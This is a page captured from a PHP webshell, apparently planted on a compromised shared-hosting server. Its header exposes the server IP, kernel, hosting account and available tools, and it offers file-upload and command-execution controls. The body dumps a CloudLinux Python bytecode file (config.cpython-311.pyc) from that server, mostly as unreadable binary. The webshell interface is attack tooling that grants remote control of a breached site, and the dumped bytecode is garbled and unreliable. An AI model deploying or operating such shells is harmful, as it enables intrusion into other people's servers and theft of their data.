403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.137.223.8
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cloudlinux/venv/lib/python3.11/site-packages/clwpos/user/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cloudlinux/venv/lib/python3.11/site-packages/clwpos/user/__pycache__/config.cpython-311.pyc
�

��gA5��*�ddlmZddlZddlZddlZddlZddlZddlZddlm	Z	ddl
mZmZddl
mZmZmZddlmZmZddlmZddlmZmZmZmZdd	lmZdd
lmZddlm Z ddlm!Z"Gd
�de ��Z#Gd�de��Z$Gd�de%��Z&dS)�)�absolute_importN)�deepcopy)�IntEnum�auto)�Iterable�Optional�Union)�ALL_OPTIMIZATION_FEATURES�Feature)�
setup_logging)�get_relative_docroot�create_clwpos_dir_if_not_exists�is_run_under_user�get_pw)�
is_wp_path)�	constants)�	WposError)�gettextc��eZdZdZdS)�ConfigErrorz^
    Used for all exceptions during handling clwpos user config
    in UserConfig methods
    N)�__name__�
__module__�__qualname__�__doc__���I/opt/cloudlinux/venv/lib64/python3.11/site-packages/clwpos/user/config.pyrr"s��������	�Drrc�J�eZdZe��Ze��Ze��ZdS)�LicenseApproveStatusN)rrrr�NOT_REQUIRED�NOT_APPROVED�APPROVEDrrrrr*s/�������4�6�6�L��4�6�6�L��t�v�v�H�H�Hrrc��eZdZdZej�dejej	��Z
ej�d�Zied�ZdZ
d$deejzfd	�Zd
�Zd�Zdefd
�Zd�Zd�Zd�Zdefd�Z	d%dedededeedef
d�Zdedefd�Zdefd�Z d&de!defdededdfd�Z"dedededdfd�Z#d�Z$dede%efd �Z&d!e'fd"�Z(d#�Z)dS)'�
UserConfigzQ
    Class to manage clwpos user config - read, write, set params in config.
    z	{homedir}�mb)�docroots�max_cache_memory�.FT�usernamec��|s|���t|t��r.||_t	|���|_|jj|_n||_|j|_|j|_|j	�
|j���|_|rtt��|_dStjd��|_dS)N)r))�homedirr$)�_validate_permissions�
isinstance�strr)r�pw�pw_dirr+�pw_name�CONFIG_PATH�format�config_pathrr�_logger�logging�	getLogger)�selfr)�
allow_root�
setup_logss    r�__init__zUserConfig.__init__As����	)��&�&�(�(�(��h��$�$�		+�%�D�M��h�/�/�/�D�G��7�>�D�L�L��D�G�$�,�D�M�#�?�D�L��+�2�2�4�<�2�H�H����	;�(��2�2�D�L�L�L�"�,�\�:�:�D�L�L�Lrc�Z�t��sttd�����dS)Nz&Trying to use UserConfig class as root)rr�_�r8s rr,z UserConfig._validate_permissionsXs4�� �"�"�	K��a� H�I�I�J�J�J�	K�	Krc�<�	t|jd��5}tj|�����cddd��S#1swxYwYdS#t
$r:t
j��}ttd��|j|d�����wxYw)zo
        Reads config from self.config_path

        DO NOT USE THIS DIRECTLY! USE get_config INSTEAD!
        �rNz@Error while reading config %(config_path)s: %(exception_string)s)r4�exception_string��message�context)
�openr4�json�loads�read�	Exception�	traceback�
format_excrr=)r8�f�
exc_strings   r�read_configzUserConfig.read_config\s���	��d�&��,�,�
,���z�!�&�&�(�(�+�+�
,�
,�
,�
,�
,�
,�
,�
,�
,�
,�
,�
,����
,�
,�
,�
,�
,�
,���	�	�	�"�-�/�/�J���\�]�]�(,�(8�j�Y�Y����
�	���s.�A�&A
�A�
A�A�A�A�AB�configc�H�t|j��	tj|dd���}t	|jd��5}|�|��ddd��dS#1swxYwYdS#t$r%}ttd��d|i����d}~wwxYw)	z=
        Writes config (as json) to self.config_path
        �T)�indent�	sort_keys�wNzDAttempt of writing to config file failed due to error:
%(exception)s�	exceptionrB)
rr/rF�dumpsrEr4�writerIrr=)r8rO�config_jsonrL�es     r�write_configzUserConfig.write_configls���	(���0�0�0�	��*�V�A��F�F�F�K��d�&��,�,�
%������$�$�$�
%�
%�
%�
%�
%�
%�
%�
%�
%�
%�
%�
%����
%�
%�
%�
%�
%�
%���	�	�	���a�b�b�$�a�(����
�����	���s;�,A2�A%�A2�%A)�)A2�,A)�-A2�2
B!�< B�B!c�L�tj�|j��S)z?
        Checks if user customized his config already.
        )�os�path�existsr4r>s r�is_default_configzUserConfig.is_default_config|s���7�>�>�$�"2�3�3�3�3rc���d|vrkt|dt��rR|d���D]9\}}t|t��r|�|jd���6dSdSdS)z|
        Remove invalid paths from the config.
        Specifically, remove the INVALID_PATH_KEY from each docroot.
        r&N)r-�dict�items�pop�INVALID_PATH_KEY)r8rO�docroot_name�docroot_datas    r�sanitize_configzUserConfig.sanitize_config�s���
����J�v�j�/A�4�$H�$H��.4�Z�.@�.F�.F�.H�.H�
B�
B�*��l��l�D�1�1�B� �$�$�T�%:�D�A�A�A��	 ����
B�
Brc�d�|���rt|j��S	|���}n$#t$rt|j��cYSwxYwt|t��st|j��St|��}|�|��|S)z~
        Returns default config or config content from self.config_path
        with invalid paths (like ".") removed
        )r_r�DEFAULT_CONFIGrNrr-rarg)r8rO�modified_configs   r�
get_configzUserConfig.get_config�s����!�!�#�#�	1��D�/�0�0�0�	1��%�%�'�'�F�F���	1�	1�	1��D�/�0�0�0�0�0�	1�����&�$�'�'�	1��D�/�0�0�0�"�6�*�*�����_�-�-�-��s�?�A �A �paramsc��|���}|���D]
\}}|||<�|�|��dS)a�
        Set outer (not "docroots") params in config.
        Example:
        Old config:
        {
            "docroots": ...,
            "max_cache_memory": "123mb",
        }
        Input params:
        {
            "max_cache_memory": "1024mb",
            "param": "value"
        }
        New config:
        {
            "docroots": ...,
            "max_cache_memory": "1024mb",
            "param": "value"
        }
        N)rkrbrZ)r8rlrO�key�values     r�
set_paramszUserConfig.set_params�sS��*���"�"�� �,�,�.�.�	 �	 �J�C���F�3�K�K����&�!�!�!�!�!rN�domain�wp_path�module�returnc�T�|p|���}|sk	t||j��}nV#t$rG}|j�|d���t
td��||jd�����d}~wwxYw|}ttj
�|j||����s t
td��d|i����|tvr&t
td��|td	�����	|d
}|�
|i���
|g��}	||	vS#ttt f$rQ}|j�d|j�d|��d���t
td
��d|ji����d}~wwxYw)NT)�exc_infozDCan't find docroot for domain '%(domain)s' and homedir '%(homedir)s')rqr+rB�)Wrong wordpress path '%(wp_path)s' passedrr�;Invalid feature %(feature)s, available choices: %(choices)s��feature�choicesr&zconfig z is broken: z@Config is broken.
Repair %(config_path)s or restore from backup.r4)rkr
r+rIr5�warningrr=rr\r]�joinr
�get�KeyError�AttributeError�	TypeErrorr4)
r8rqrrrsrO�relative_docroot�docrootrYr&�module_infos
          r�is_module_enabledzUserConfig.is_module_enabled�s����,�4�?�?�,�,���
	'�
�.�v�t�|�D�D�����
�
�
���$�$�Q��$�6�6�6�!��d�e�e�'-�$�,�G�G���������
����'�G��"�'�,�,�t�|�W�g�F�F�G�G�	���E�F�F�"�G�,����
�
�2�2�2���W�X�X�$*�7P�Q�Q����
�
		��j�)�H�"�,�,�w��3�3�7�7���D�D�K��[�(�(���.�)�4�	�	�	��L� � �!L�4�+;�!L�!L��!L�!L�W[� �\�\�\���]�^�^�&��(8�9����
�����	���s.�0�
B�AA<�<B�	5D?�?F'�AF"�"F'rzc��|jstjS|j|����di��vrtjStjS)a	
        Returns NOT_REQUIRED if feature does not require any approve

        Returns NOT_APPROVED in case if user is required to approve
        license terms before he can use the feature.

        Returns APPROVED in case if license terms were applied.
        �approved_licenses)�HAS_LICENSE_TERMSrr �NAMErkr~r!r")r8rzs  r�get_license_approve_statusz%UserConfig.get_license_approve_status�sR���(�	5�'�4�4��<�t���0�0�4�4�5H�"�M�M�M�M�'�4�4�#�,�,rc��|���}|�di��}ttj���������||j<||d<|�|��dS)zc
        Writes information about approved license terms for given feature to config file.
        r�)�approve_dateN)rkr~ra�datetime�now�	isoformatr�rZ)r8rzrOr�s    r�approve_license_agreementz$UserConfig.approve_license_agreement�s������"�"��"�J�J�':�B�?�?��*.�!�*�.�.�0�0�:�:�<�<�+
�+
�+
��'�,�'�'8��"�#����&�!�!�!�!�!rc�$�|sc	t||j��}nN#t$r?}|j�|��tt
d��d|i����d}~wwxYw|}ttj	�
|j||����s tt
d��d|i����|tvr&tt
d��|td�����|���}|�
|||||���sdS|d	||�|��|d	||s|d	||=|d	|s	|d	|=|�|��dS)
N�,Docroot for domain '%(domain)s' is not foundrqrBrwrrrxry)r�r&)r
r+rIr5rUrr=rr\r]r}r
rkr��removerZ)r8rqrrrsr�r�rYrOs        r�disable_modulezUserConfig.disable_modules����
	'�
�.�v�t�|�D�D�����
�
�
���&�&�q�)�)�)�!��L�M�M�%�v�.���������
����'�G��"�'�,�,�t�|�W�g�F�F�G�G�	���E�F�F�"�G�,����
�
�2�2�2���W�X�X�$*�7P�Q�Q����
�
���"�"���%�%�f�g�v�v�Xh�%�i�i�	��F�	�z��7�#�G�,�3�3�F�;�;�;��j�!�'�*�7�3�	5��z�"�7�+�G�4��j�!�'�*�	,��z�"�7�+����&�!�!�!�!�!s��
A#�:A�A#c�"�	t||j��}nL#t$r?}|j�|��tt
d��d|i����d}~wwxYwttj	�
|j||����s tt
d��d|i����|tvr&tt
d��|td�����|���}|�
||||��rdSd|vri|d<||dvri|d|<||d|vrg|d||<|d||�|��|�|��dS)	Nr�rqrBrwrrrxryr&)r
r+rIr5rUrr=rr\r]r}r
rkr��appendrZ)r8rqrrrzr�rYrOs       r�
enable_modulezUserConfig.enable_module.s���	�*�6�4�<�@�@�G�G���	�	�	��L�"�"�1�%�%�%���H�I�I�!�6�*����
�����	�����"�'�,�,�t�|�W�g�F�F�G�G�	���E�F�F�"�G�,����
�
�3�3�3���W�X�X�$+�8Q�R�R����
�
���"�"���!�!�&�'�7�F�C�C�	��F��V�#�#�!#�F�:���&��,�,�,�*,�F�:��w�'��&��,�W�5�5�5�35�F�:��w�'��0��z��7�#�G�,�3�3�G�<�<�<����&�!�!�!�!�!s��
A!�:A�A!c#�K�|���d���D]+\}}|���D]\}}|D]	}|||fV��
��,dS)Nr&)rkrb)r8�doc_root�
doc_root_inforr�module_names�names      r�enabled_moduleszUserConfig.enabled_modulesUs�����'+���'8�'8��'D�'J�'J�'L�'L�	2�	2�#�H�m�)6�)<�)<�)>�)>�
2�
2�%���(�2�2�D�"�G�T�1�1�1�1�1�2�
2�	2�	2r�module_namec#�K�|���D]4\}}}||kr(tj�|j||��V��5dS)zI
        Return absolute WP paths with specified module enabled.
        N)r�r\r]r}r+)r8r�r�rrr�s     r�wp_paths_with_enabled_modulez'UserConfig.wp_paths_with_enabled_module[sd����(,�';�';�'=�'=�	D�	D�#�H�g�t��{�"�"��g�l�l�4�<��7�C�C�C�C�C��	D�	Dr�features_setc��t��}|D]1}|�|��}|D]}|�|����2|S)z�
        Unique set of sites with active features from feature set
        SET is used here, because one site may have several features activated from one set
        e.g: site1 with activated object_cache, shortcodes = 1 path
        )�setr��add)r8r��sitesrz�sites_with_enabled_feature�sites      r�#wp_paths_with_active_suite_featuresz.UserConfig.wp_paths_with_active_suite_featurescsZ������#�	 �	 �G�)-�)J�)J�7�)S�)S�&�2�
 �
 ���	�	�$�����
 ��rc���d}|����di�����D]=\}}|���D]#\}�|t�fd�|D����z
}�$�>|S)z<
        Returns count of sites with enabled module
        rr&c3� �K�|]}|�vV��	dS�Nr)�.0�checked_module_namer�s  �r�	<genexpr>z@UserConfig.get_enabled_sites_count_by_modules.<locals>.<genexpr>ws*�����"w�"w�K^�#6�,�#F�"w�"w�"w�"w�"w�"wr)rkr~rb�any)r8�checked_module_names�sites_countr=r�r�s     @r�"get_enabled_sites_count_by_modulesz-UserConfig.get_enabled_sites_count_by_modulesps������ $��� 1� 1� 5� 5�j�"� E� E� K� K� M� M�	x�	x��A�}�#0�#6�#6�#8�#8�
x�
x���<��s�"w�"w�"w�"w�bv�"w�"w�"w�w�w�w���
x��r)FT)NNr�)*rrrrr\r]r}r�
USER_WPOS_DIR�USER_CLWPOS_CONFIGr2�DEFAULT_MAX_CACHE_MEMORYrirdr.�pwd�
struct_passwdr;r,rNrarZr_rgrkrpr�boolr�rrr�r�r	r�r�r�rr�r�r�r�rrrr$r$8ss���������'�,�,�{�I�,C�Y�Ea�b�b�K�"+�"D�H�H�H��"$�:R�S�S�N���;�;��s�'8�!8�;�;�;�;�.K�K�K���� �4����� 4�4�4�	B�	B�	B����0"��"�"�"�"�6ko�$�$��$�(+�$�58�$�BJ�4�.�$�sw�$�$�$�$�L-�'�-�>R�-�-�-�-�""��"�"�"�"�)"�)"�U�4��9�%5�)"��)"�S�)"�lp�)"�)"�)"�)"�V%"�C�%"�#�%"��%"��%"�%"�%"�%"�N2�2�2�D��D���
�D�D�D�D�����������rr$)'�
__future__rr�rFr6r\r�rJ�copyr�enumrr�typingrrr	�clwpos.optimization_featuresr
r�clwpos.logsetupr�clwpos.utilsr
rrr�clcommon.clwpos_libr�clwposr�clwpos.cl_wpos_exceptionsrrr=rr�objectr$rrr�<module>r�s���'�&�&�&�&�&�������������	�	�	�	�
�
�
�
�������������������,�,�,�,�,�,�,�,�,�,�K�K�K�K�K�K�K�K�)�)�)�)�)�)�������������+�*�*�*�*�*�������/�/�/�/�/�/�������	�	�	�	�	�)�	�	�	������7����@�@�@�@�@��@�@�@�@�@r

Youez - 2016 - github.com/yon3zu
LinuXploit